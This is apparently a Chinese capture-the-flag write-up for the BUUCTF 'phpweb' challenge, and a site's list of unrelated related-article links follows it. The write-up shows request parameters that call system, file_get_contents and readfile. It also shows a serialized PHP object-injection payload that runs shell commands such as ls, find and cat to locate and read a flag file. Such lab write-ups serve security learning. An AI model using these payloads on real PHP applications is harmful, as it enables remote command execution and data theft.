当前位置: 首页 > news >正文

BUUCTF—[网鼎杯 2020 朱雀组]phpweb

题解

打开题目是这样子的。

啥也不管抓个包看看,从它返回的信息判断出func后面的是要调用的函数,p后面的是要执行的内容。

那我们直接执行个系统命令看看,可以看到返回了hack,估计是做了过滤。

func=system&p=ls

直接读取源码看看咯,可以看到过滤了好多函数,反正我认识的可以进行命令执行的函数都给禁了。

func=file_get_contents&p=index.php

但是它没有禁用反序列化函数,那么我们只要实现构造出要执行的命令,然后序列化。再调用反序列化函数将其还原,且执行命令不就行了吗。从源代码不难看出传参的是这一部分代码,我们照葫芦画瓢,对其进行序列化。

class Test {var $p = "cat /flag";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}

运行下面代码。

<?php
class Test {var $p = "cat /flag";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}
$a = new Test();
echo serialize($a);
?>

得到序列化后的数据。

O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

执行成功,返回当前目录下面的文件。

直接查到flag在哪里,发现 /tmp/flagoefiu4r93这个文件比较可以,估计是这个啦。

O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}

直接查看这个文件,但是这里我是cat /tmp/flagoefiu4r93,不知道为啥不行,有知道的大佬可以指点一下。

O:4:"Test":2:{s:1:"p";s:23:"cat /tmp/flagoefiu4r93'";s:4:"func";s:6:"system";}

用这个readfile函数读取,这个是PHP自带的函数,成功读取。

func=readfile&p=/tmp/flagoefiu4r93

总结

主要涉及的知识是反序列的运用,要懂得构造出序列化的数据,还得想到用file_get_contents函数读取源码。

http://www.lryc.cn/news/430770.html

相关文章:

  • 什么是CDN及其如何影响SEO?
  • python实现粒子群算
  • 【Unity案例】搭建射击系统与UI
  • Python使用zdppy_mysql操作MySQL和MariaDB数据库快速入门教程
  • union 的正确食用方法
  • 汇编语言在虚拟机中输出“Hello World!”
  • JVM类的加载和类的加载器
  • MLM:多模态大型语言模型的简介、微调方法、发展历史及其代表性模型、案例应用之详细攻略
  • Java健康养老智慧相伴养老护理小程序系统源码代办陪诊陪护更安心
  • Python | Leetcode Python题解之第390题消除游戏
  • Github 2024-09-01 开源项目月报 Top16
  • C++ 继承(二)
  • 第 2 章:AJAX 的使用
  • ROS——视觉抓取
  • EPLAN2022基础教程
  • 【JavaWeb】Servlet 详解(处理逻辑及常见方法)
  • 6 自研rgbd相机基于rk3566之深度计算库程序详解
  • 分布式系统框架hadoop3入门
  • 使用 i3.LayoutCell() 方法绘制版图并输出为 GDS 文件
  • mariadb容器
  • 应用层协议Http
  • display flex 的div 被子元素撑开不显示滚动条的一个解决demo
  • 判断键盘输入是数字、大写字母还是小写字母——C#学习笔记
  • 进程控制块PCB的组织方式有哪些?
  • getent passwd 获取linux并显示用户账户信息
  • 达梦数据库+JPA+Springboot 报错 :无效的列名
  • #单片机基础 笔记一
  • echarts多个环形图
  • vue 的面试题
  • MongoDB-部署PSA(一主一从一仲裁)架构复制集群